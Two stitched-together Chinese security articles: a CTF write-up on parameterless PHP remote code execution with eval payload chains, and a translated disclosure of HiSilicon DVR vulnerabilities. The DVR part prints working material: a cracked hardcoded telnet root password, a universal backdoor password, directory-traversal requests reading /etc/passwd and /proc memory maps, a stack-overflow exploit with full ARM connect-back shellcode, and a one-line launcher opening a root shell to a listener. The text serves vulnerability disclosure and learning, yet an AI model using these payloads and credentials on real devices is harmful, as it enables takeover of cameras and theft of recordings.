3. <https://ired.team/miscellaneous-reversing-forensics/windows-kernel/how-kernel-exploits-abuse-tokens-for-privilege-escalation>
* * * | 社区文章 |
# 0x00前言
刷buu的时候遇到一道题，[GXYCTF2019]禁止套娃，涉及到无参数RCE，但是我不会，记录一下学习过程。
**实例**
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
pre_match('/et|na|nt|strlen|info|path||rand|dec|bin|hex|oct|pi|exp|log/i', $code))
**解析**
preg_replace 的主要功能就是限制我们传输进来的必须是纯小写字母的函数，而且不能携带参数。
再来看一下：(?R)?，这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数，内部可以无限嵌套相同的模式（无参数函数）
preg_match的主要功能就是过滤函数，把一些常用不带参数的函数关键部分都给过滤了，需要去构造别的方法去执行命令。
说白了就是传入的参数不能含有参数
scandir（'a()'）//可以使用，里面没有参数
scandir（'123'）//不可以使用，里面有参数
所谓无参数`RCE`说白了就是使用一个个的函数来达到我们的目的。
例如`print_r(array_reverse(scandir(current(localeconv()))))`
接下来就说说由哪些方法能完成RCE
**测试代码**
<?php
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
# 0x01关于无参数RCE的一些方法
## 方法一 利用session_id
利用`http headers`传参，然而`http`中有那么多的内容，最容易想到的估计就是`cookies`传递参数。
在php中有一个函数`session_id`可以用来获取/设置当前会话ID，并且这个值是我们可控的。但是它的使用有些限制： 文件会话管理器仅允许会话 ID
中使用以下字符：a-z A-Z 0-9 ,（逗号）和 - 减号
，但是这并不影响我们操作。我们可以使用十六进制传入，之后使用`hex2bin()`函数转换即可。但是使用`session_id`的时候必须要开启`session`才可以，需要`session_start`
构造payload
?code=eval(hex2bin(session_id(session_start())));
`hex("phpinfo();")=706870696e666f28293b`
## 方法二 利用get_defined_vars ()函数
`get_defined_vars()：返回由所有已定义变量所组成的数组`
我们通过`get`或者`post`方法，传入的参数，以及它的值可以被`get_defined_vars()`读出来。而且它返回的还是数组，那么我们可以通过php中的一系列对数组操作的函数来得到我们想要的值
end() - 将内部指针指向数组中的最后一个元素，并输出。
next() - 将内部指针指向数组中的下一个元素，并输出。
prev() - 将内部指针指向数组中的上一个元素，并输出。
reset() - 将内部指针指向数组中的第一个元素，并输出。
each() - 返回当前元素的键名和键值，并将内部指针向前移动。
current() -输出数组中的当前元素的值。
构造payload
?code=print_r(current(get_defined_vars()));&b=phpinfo();
查看最后一个数组，且eval
?code=eval(end(current(get_defined_vars())));&b=phpinfo();
## 方法三 利用getallheaders()
`getallheaders返回当前请求的所有请求头信息`
尝试写入phpinfo（）
之后就可用数组操作的函数拿出phpinfo（）且执行。
构造payload
?code=eval(next(getallheaders()));
## 方法四 getenv()
`getenv() ：获取环境变量的值(在PHP7.1之后可以不给予参数)`
看简介就明白，它并不适用于PHP<7.1的版本，我的版本不合适，报了400错误，往里面传参也不行。
没有成功，好在这种方法使用限制比较多，使用也相对比较少。
## 方法五 scandir()
这种方法是使用比较多的，相对而言比较多变，各个函数相辅相成。
scandir() //函数返回指定目录中的文件和目录的数组。
localeconv() //返回一包含本地数字及货币格式信息的数组。
current() //返回数组中的单元，默认取第一个值。
pos是current的别名
getcwd() //取得当前工作目录
dirname() //函数返回路径中的目录部分。
array_flip() //交换数组中的键和值，成功时返回交换后的数组
array_rand() //从数组中随机取出一个或多个单元
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
dirname(chdir(dirname()))配合切换文件路径
**示例**
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破，不然手动要刷新很久，如果文件是正数或倒数第一个第二个最好不过了，直接定位
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //查看和读取根目录文件
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); //查看和读取根目录文件
由此可以看出各个函数相互利用，组合方法有很多
# 实例
知识不经过组合利用就不会起作用
## [GXYCTF2019]禁止套娃
dirsearch扫目录得`/.git` 利用githack得源码
<?php
include "flag.php";
echo "flag在哪里呢？<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦！");
}
}
else{
die("再好好想想！");
}
}
else{
die("还想读flag，臭弟弟！");
}
}
// highlight_file(__FILE__);
?>
查看代码，很明显的无参数RCE
其中`(?R)`引用当前表达式，后面加了?递归调用。只能匹配通过无参数的函数
`scandir('.')`返回当前目录，但是如何构造`.` 函数`localeconv()` 返回一包含本地数字及货币格式信息的数组。
但是其数组第一项就是`.`， `current()/pos()`返回数组中的当前单元, 默认取第一个值。
构造payload
?exp=print_r(scandir(pos(localeconv())));
利用对数组操作的函数读取flag
利用`array_reverse()` 将数组内容反转一下 ， 利用`next()`指向第二个元素，也就是flag.php
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
# 0x02 后记
在没学习之前觉得这个知识点可能会很难，现在倒也觉得没有我想的那么难。有些东西做了才知道深浅。继续加油吧。
**参考**
<https://blog.csdn.net/qq_38154820/article/details/107171940>
<https://blog.csdn.net/qq_45570082/article/details/106602261>
<https://xz.aliyun.com/t/9360#toc-6> | 社区文章 |
> 翻译文章，原文链接：
>
> <https://github.com/mcw0/pwn-hisilicon-> dvr/blob/master/README.adoc#defeating-aslr>
# 前言
该报告披露了使用HiSilicon
hi3520d和片上系统(SOC)构建的DVR/NVR设备的严重漏洞（具有POC代码）。利用漏洞会导致仅使用Web界面的未经授权的远程代码执行（RCE），导致被攻击设备的完全接管。由于缺乏升级固件，不建议使用这些设备。2016年12月之前已与供应商联系，但仍未得到回复。披露日期为2017年2月。
几年前我在eBay上购买了廉价的中文DVR设备。该设备的启动徽标显示：“SECULINK -安全监控”。作为IT安全爱好者，我决定仔细查看该设备，了解安全监控服务的“安全性”。通过谷歌搜索这个话题，我发现了一些有趣的材料，但是深入挖掘，发现了关于该设备更有趣、更严重的问题(
0days)。
# 探索DVR
首先我们应该学习官方用户界面，然后深入挖掘，或者尝试获取固件。固件增加了发现漏洞的机会。
## 简单概括DVR
用于测试的DVR设备被标记为“Seculink”。
可用的物理接口：
* 2个USB端口（鼠标可用于控制GUI控制台），
* 用于连接外接显示器的HDMI端口和VGA（用于GUI和摄像头视图），
* 用于模拟闭路电视摄像机的4个BNC连接器，
* 内部的SATA端口用于连接存储以记录视频流，
* 用于网络访问的以太网端口
官方用户界面：
* 使用HDMI（或VGA）作为输出直接访问，使用USB鼠标/键盘输入摄像机视图/控制/完全设置，
* 通过HTTP进行网络访问以进行摄像机查看/控制
可直接访问的设置界面受用户身份验证（用户名，密码）的限制。默认超级用户为“admin”，默认密码为空。
在设置强密码之后，用户可能感到安全，其他人无法访问他/她的相机视图。人们经常将DVR设备的Web端口（tcp /
80）从其安全LAN转发到WAN侧，以便从外部访问DVR流（我们可以通过合适的Shodan搜索来检查这一点;）。
## 获得固件
获取固件的方法可能有很多:
* 通过一些软方法（使用官方接口或利用某种漏洞）从设备中获取它，
* 通过一些硬方法（JTAG，串行控制台等）从设备中获取它，
* 从互联网上查找并下载（如果可用）。
虽然后一种方法在这里是可行的，也是最简单的，但是让我们来试试第一种，因为它也提供了关于设备的其他信息。
## 服务扫描
让我们在DVR上进行全端口扫描。请注意，（默认情况下，如果由root运行）SYN扫描非常慢，因为数据包丢失，但完整的TCP连接扫描将在几分钟后完成。
# Nmap 7.40 scan initiated Sun Sep 3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127
Nmap scan report for dvr.lan (192.168.88.127)
Host is up (0.028s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
23/tcp open telnet BusyBox telnetd
80/tcp open http uc-httpd 1.0.0
554/tcp open rtsp LuxVision or Vacron DVR rtspd
9527/tcp open unknown
34567/tcp open dhanalakshmi?
34599/tcp open unknown
MAC Address: 00:12:12:15:B3:E7 (Plus )
Service Info: Host: LocalHost; Device: webcam
# Nmap done at Sun Sep 3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds
总结和手动测试：
* 23 / tcp是一个telnet登录界面，受一些用户名+密码（不是应用程序凭据）的保护
* 80 / tcp是受应用程序凭据保护的Web界面
* 554 / tcp是一个rtsp服务; 它可以通过一个公共rtsp url打开：
rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp
请注意，打开rtsp流也需要凭据。
* 9527 / tcp似乎是一个秘密服务端口，具有一些非常有趣的功能，
* 34567 / tcp和34599 / tcp似乎是与DVR应用程序相关的一些数据端口。
在这里，我们应该声明该设备可能是一些类似Linux的系统。
通过raw netcat连接到9527 /
tcp显示应用程序控制台的日志消息和登录提示。使用任何已定义的应用程序凭据登录都有效。`help`在提示符后发出，给出了控制台命令的简短描述。命令
`shell`似乎是最有趣的。是的，它为设备提供了root shell。;）
请注意，这显然是一个严重的安全问题，因为任何（低权限）应用程序用户都不应自动获取设备上的root shell。
## root shell
在root shell中探索设备（例如，通过`dmesg`）可以明显看出DVR运行的是Linux内核（版本3.0.8），它有一个ARMv7
CPU，SoC模型是`hi3520d`。
从正在运行的进程列表中（`ps`）可以清楚地看到，DVR应用程序`/var/Sofia`正在侦听34568 / udp和34569 /
udp以及nmap（`netstat -nlup`）检测到的上述tcp端口。
从已装入的磁盘列表（`mount`命令）中，可以清楚地看到固件映像在`/dev/mtdblockX`设备中（其中X = 0,1,2,3,4,5）。
固件很小，因此受到限制，因此如果我们想要将文件复制到设备或从设备复制文件，我们应该换个思维方式。幸运的是支持NFS，所以在我们的台式机上安装一台NFS服务器，并从DVR安装它，可以解决问题：
mount -t nfs 192.168.88.100:/nfs /home -o nolock
现在获得固件很简单：
cat /dev/mtdblock1 > /home/mtdblock1-root.img
cat /dev/mtdblock2 > /home/mtdblock2-usr.img
cat /dev/mtdblock3 > /home/mtdblock3-custom.img
cat /dev/mtdblock4 > /home/mtdblock4-logo.img
cat /dev/mtdblock5 > /home/mtdblock5-mtd.img
我们可能会获取文件（不仅仅是原始图像）：
cp / var / Sofia / home /
tar -cf /home/fs.tar / bin / boot / etc / lib / linuxrc / mnt / opt / root / sbin / share / slv / usr / var
## telnet接口
要通过telnet接口（端口23 / tcp）访问设备，我们可能需要一些操作系统凭据。看看`/etc/passwd`，我们获取root用户的密码hash值：
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
请注意，除root之外没有其他用户，所有内容都以完全权限运行。（因此如果有人以某种方式入侵设备，没有阻拦，攻击者立即获得全部权限。）
假设一个六个字符的小写字母数字密码，hashcat会快速破解上述弱DES hash：
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: absxcfbgXtb3o
Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs)
Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs)
Guess.Mask.......: ?1?1?1?1?1?1 [6]
Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 815.9 kH/s (203.13ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 121360384/2176782336 (5.58%)
Rejected.........: 0/121360384 (0.00%)
Restore.Point....: 93440/1679616 (5.56%)
Candidates.#1....: sa8711 -> h86ani
HWMon.Dev.#1.....: N/A
Started: Sun Sep 3 03:25:04 2017
Stopped: Sun Sep 3 03:27:38 2017
因此通过端口23 /
tcp上的telnet接口登录用户`root`和密码`xc3511`是可能的。这个硬编码的root帐户可以在不可关闭的telnet接口上访问，这显然是一个后门。
在我们的研究之前，几乎其他任何人都可以获得这些结果，但以下是全新的。
# 固件逆向
探索固件后发现，二进制文件`/var/Sofia`是实现除视频处理之外的所有接口的主要应用程序。所以这个二进制文件对我们来说似乎是最值得关注的。
不幸的是，它（作为静态链接）被剥离，这使得静态分析变得更难：
`$ file Sofia
Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped, with debug_info`
因此，除静态分析（使用radare2或IDA）外，动态分析应该非常有用。
## 远程gdb
对于动态分析，将GDB链接到远程`/var/Sofia`应用程序应该是有利的。推荐的方法是在远程设备上运行(和连接)
`gdbserver`，并从本地机器将`gdb`连接到它。
当然，我们需要为适当的ARM体系结构编译一个`gdbserver`（最好是静态的）。为了构建它，我们可以使用
`Clibc`，它是嵌入式系统（比如我们的DVR）推荐的C库。可用的构建是动态构建，在我们的DVR上是有问题的，所以我们应该自己定制静态构建。有一个很好的构建环境叫做`Buildroot`，它可以让构建开箱即用（使用`make
menuconfig`选择所需的应用程序（例如gdb )，不要忘记选择静态库，然后运行`make` )。
经过短暂的构建(约10 - 15分钟)，所有必要的工具都应该可用。静态二进制文件可以通过前面提到的NFS方法传输到设备。请注意，变量`/var`
的目录包含Sofia二进制文件是ramfs，因此它不会在重新启动时保持不变。如果我们想要永久地传输二进制文件，那么`/mnt/mtd`包含配置文件的rw分区应该是合适的目标。如果你也构建了`openssh`包，`scp`将可用，这使得文件传输更加容易。
现在固件已经准备好进行一些逆向。远程连接`gdbserver`现在工作正常( 使用`ps`获取Sofia进程的PID是很容易的 ) ：
`$ /mnt/mtd/gdbserver --attach :2000 610`
从本地机器连接：
$ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
请注意，建议使用一些GDB扩展（如 `GEF`）。如果由于某种原因暂停应用程序不起作用（使用Cc），则向Sofia进程发送TRAP信号（通过 `kill
-TRAP 610`）应该会暂停它。
## 检查认证程序
静态分析的推荐工具显然是Hex-Ray的 `IDA Pro`。不幸的是，它不便宜，但比任何其他工具都好。
初始自动分析后有15.000多个函数，但找到auth函数只是IDA的一个瞬间（使用简单的Python脚本）。下面的
`IDAPython`代码片段搜索引用与“Users” 和 “Password” 相关的任何内容的所有函数（同时）：
x1, x2 = set(), set()
for loc, name in Names():
if "Users" in name:
for addr in XrefsTo(loc):
x1.add(GetFunctionName(addr.frm))
elif "Password" in name:
for addr in XrefsTo(loc):
x2.add(GetFunctionName(addr.frm))
print x1 & x2
结果只有一个功能：`sub_2D857C`。对该功能的快速分析确认了这应该是身份验证功能。
对明文密码和硬编码字符串进行初始检查（从配置中获取用户的密码哈希值之前）。如果通过，则授予身份验证。这是应用程序中的恶意后门。通用密码是：`I0TO5Wv9`。
使用此密码，我们可以以任何用户（例如管理员）访问应用程序中的任何内容。例如，获取视频流：
`$ cvlc'rtsp：//192.168.88.127：554 / user = admin＆password = I0TO5Wv9＆channel =
1＆stream = 0.sdp'`
或者在应用程序控制台（9527 / tcp）上获得root shell也可以：
$ nc 192.168.88.127 9527
nc: using stream socket
username:admin
password:I0TO5Wv9
login(admin, ******, Console, address:)
admin$
认证算法还有一个有趣的结果：在某些情况下，认证函数不仅接受密码，还接受散列。不仅可以通过密码而且可以通过hash（存储在/ mnt / mtd /
Config / Account1中）打开rtsp视频流。例如，`tlJwpbo6`是空密码的hash值（参见下一节），因此
cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'
同样有效。
## 密码散列函数
auth函数（更深层）静态分析的另一个结果：密码散列函数是`sub_3DD5E4`。它基本上是带有一些奇怪转换的MD5。逆向并在Python中实现:
import hashlib
def sofia_hash(msg):
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
执行hash算法，可以强制使用密码或设置任意密码。
# 内置webserver中的缓冲区溢出
Sofia二进制文件处理端口80/tcp上的HTTP请求。让我们试着对这些要求进行混淆处理。当然，附加gdb
(见上文)应该会有所帮助。实际上，我们应该终止Sofia进程，并使用gdbserver重新启动它，以查看控制台输出：
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
在本地：
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef> c
现在让我们看看GET请求。没有回应：
$ echo 'GET /' | nc 192.168.88.127 80
正常响应（即使没有正确的关闭）：
$ echo -ne'GET / HTTP'| nc 192.168.88.127 80
用looong请求测试是否有溢出:
$ python -c 'print "GET " + "a"*1000 + " HTTP"' | nc 192.168.88.127 80
很好，响应是200，带有“404 File Not Found”消息，但我们可以在gdb中看到一个精彩的崩溃。;）
请注意，Sofia应用程序启用了watchdog内核模块。如果它有一分钟没有运行，设备将重新启动。如果我们用远程设备进行实验，这一方面是好的，但是如果我们想顺利地进行调试，那么很糟糕。
watchdog一旦启动就无法关闭，因此摆脱它的唯一方法是通过重新刷新来修改只读固件。除非我们想要测试我们的设备，否则不建议使用。;）
## 程序流控制
（在攻击者看来）为什么这次崩溃如此美妙？远程进程Sofia得到了SIGSEGV (分段错误)，堆栈中充满了我们的“a”字符，但最重要的是: $pc
(程序计数器)寄存器中有我们注入的值`0x61616160`（“aaaa” -1）(可能是由ret触发的，但原因并不重要)。这应该是经典的堆栈溢出，这意味着我们有机会轻松控制程序流。
经过一些实验（间隔减半） :
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' | nc 192.168.88.127 80
这也导致了SIGSEGV，并且$ pc寄存器是`0x7a797876` （〜“wxyz”;相反，因为字节排序是little-endian;而-1是因为对齐）。payload在$ sp + 0x14（堆栈基址+ 0x14）处开始（带有“0123aaa ...”）。
## 远程代码执行
最容易和有效地利用这种溢出是通过将一些shellcode注入堆栈并将程序流重定向到那里。这样我们就可以在目标上获得任意的远程代码执行。由于设备操作系统上没有权限分离，这意味着完全控制（root
shell访问）。
但是，启用漏洞利用缓解技术可能会使攻击者更难入侵。
防止堆栈上的shellcode的最基本方法是No-eXecute（NX）位技术。这可以防止在选定的内存页面上（通常是具有写入权限的页面，如堆栈）执行代码。幸运的是（从攻击者看来;）），没有NX位设置（查看STACK标志，rwx）：
$ objdump -b elf32-littlearm -p Sofia
Sofia: file format elf32-littlearm
Program Header:
0x70000001 off 0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
filesz 0x000132a8 memsz 0x000132a8 flags r-- LOAD off 0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
filesz 0x005371dc memsz 0x005371dc flags r-x
LOAD off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
filesz 0x000089c8 memsz 0x000dad8c flags rw- TLS off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
filesz 0x00000004 memsz 0x00000018 flags r-- STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
或者在gdb gef中使用`checksec`。gdb
gef中的`checksec`也告诉我们没有其他的缓解措施，例如堆栈canary（这很明显，因为如果存在堆栈canary，我们无法控制带有堆栈溢出的$
pc）。
在获取RCE工作之前，我们唯一应该知道的是堆栈地址。我们应该在payload的适当位置（上文中的“wxyz”）注入地址$sp+0x14，以便将程序流重定向到shellcode。
还有一种缓解技术可以使这变得更加困难（或者非常困难，在某些情况下几乎不可能）：地址空间布局随机化（ASLR）。ASLR随机化存储器段的基址（例如，堆栈的基址）。
运气不好，ASLR被启用（“2”表示完全随机化，“0”被禁用）:
$ cat / proc / sys / kernel / randomize_va_space
2
### 没有ASLR的RCE
让我们先尝试在ASLR关闭的情况下利用溢出。
$ echo 0 > /proc/sys/kernel/randomize_va_space
按照上面的过程，我们得到SIGSEGV崩溃时堆栈地址（$ sp）是0x5a26f3d8（并且在ASLR关闭的不同运行中它是相同的）。
因此payload应该是：
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
其中shellcode应该是我们想要执行的，最好是connectback shellcode。请注意，必须避免“badchars”： 0x00, 0x0d
('\n'), 0x20 (' '), 0x26 ('&'), 0x3f
('?')。此外，还有299字节的大小限制。Shellcode生成器无法处理我们的badchar列表，即使使用自动编码器也无法解决问题（因为大小限制）。
因此应该生成自定义shellcode。这里的shellcode使用socket，connect，dup2和execve系统调用（或根据ARM世界的术语进行管理程序调用）给出了一个连接shell。我们必须严格且具有创造性，以避免犯错。这些只是为了便于阅读的标签不应被使用。
.section .text
.global _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0: add r1, pc, #1
_4: bx r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8: add r1, pc, #68 @ r1 <- pc+68 = 0xc+68 = 0x50
_a: ldrb r2, [r1, #2] @ r2 <- *0x52
_c: sub r2, #1 @ r2 <- r2-1
_e: strb r2, [r1, #2] @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10: mov r1, #2 @ r1 <- 2
_12: add r0, r1, #0 @ r0 <- r1 + 0 = 2
_14: mov r1, #1 @ r1 <- 1
_16: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_18: lsl r7, r1, #8 @ r7 <- r1<<8 = 1<<8 = 256
_1a: add r7, #25 @ r7 <- r7 + 25 = 281
_1c: svc 1 @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e: add r6, r0, #0 @ r6 <- r0 + 0 = &socket
_20: add r1, pc, #44 @ r1 <- pc+44 = 0x24+44 = 0x50
_22: mov r3, #2 @ r3 <- 2
_24: strh r3, [r1, #0] @ 2 -> *0x50
_26: mov r2, #16 @ r2 <- 16
_28: add r7, #2 @ r7 <- r7 + 2 = 283
_2a: svc 1 @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c: mov r7, #62 @ r7 <- 62
_2e: add r7, #1 @ r7 <- r7 + 1 = 63
_30: mov r1, #200 @ r1 <- 200
_32: add r0, r6, #0 @ r0 <- r6 + 0 = &socket
_34: svc 1 @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36: sub r1, #1 @ r1 <- r1 - 1
_38: bpl _32 @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a: add r0, pc, #28 @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_3e: strb r2, [r0, #7] @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40: push {r0, r2} @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42: mov r1, sp @ r1 <- sp
_44: mov r7, #11 @ r7 <- 11
_46: svc 1 @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48: mov r7, #1 @ r7 <- 1
_4a: add r0, r7, #0 @ r0 <- r7 + 0 = 1
_4c: svc 1 @ svc_1(r0) = exit(1)
_4e: nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50: .short 0xffff
_52: .short 0x697b @ port 31377 (hex(31337+0x100) in little-endian)
_54: .byte 192,168,88,100 @ inet addr: 192.168.88.100
_58: .ascii "/bin/shX" @ 'X' will be replaced with \x00 by the shellcode
.word 0xefbeadde @ deadbeef ;)
编译shellcode并获取原始二进制字节（使用ARM的任何交叉工具都可以工作，例如使用buildroot构建的工具
`buildroot-2017.02.5/output/host/usr/bin/`也可以）：
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
向它注入payload应该可以使该漏洞发挥作用，并且应该给远程设备提供一个connectback shell。
当然，首先要启动一个监听器`192.168.88.100`：
$ nc -nvlp 31337
然后启动 payload:
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex"); print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
在本地 gdb Exp 应该有效 :) :
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
并且RCE已经在netcat监听器上准备好:
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
现在可以在远程系统上执行arbitraty命令（以root身份！）。
但不幸的是，漏洞利用尚未准备好进行实际部署，因为ASLR已打开，因此我们尚未得知shellcode起始地址。
### 绕过ASLR
绕过ASLR并不是一件容易的工作，但是它通常可以通过一些新奇的的想法来完成。通常有两种方法可以做到这一点：
* 在随机性发生器中发现一些弱点并通过暴力或部分泄漏/重写来攻击它，
* 泄漏远程二进制文件的随机内存地址。
现在暴力破坏似乎没用了（触发错误的地址将导致崩溃和慢速重启），所以只有泄漏似乎很方便（如果我们能找到的话）。
经过长时间的研究，几乎不得不放弃它，找不到任何漏洞，但后来一个想法从完全不同的方向出现了。
Web服务器中存在一个不同的漏洞，即目录遍历漏洞。事实上，它也适用于列出目录（这也很重要）。
目录遍历漏洞意味着：
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
我们还可以获得目录列表：
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<H1>Index of /mnt/web/../../etc</H1>
<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
请注意，此漏洞非常严重，因为攻击者可以读取任何文件，包括录制的视频（如果设备有硬盘存储）。
此外，该漏洞可以帮助我们绕过ASLR。
该`/proc`文件系统包含了很多有关在`/proc/[pid]`目录中运行进程的信息。可以使用`GET
../../proc`列出`/proc`，这样我们就可以得到所有的PID。如果
`/proc/[pid]/cmdline`是`/var/Sofia`，则找到应用程序的PID。
绕过ASLR最重要的信息是 `/proc/[pid]/smaps`。此文件包含内存页统计信息、页面地址和其他有趣信息（例如rss）。例如：
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
/var/Sofia
$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
...
4b699000-4be98000 rwxp 00000000 00:00 0
Size: 8188 kB
Rss: 4 kB
Pss: 4 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 0 kB
Private_Dirty: 4 kB
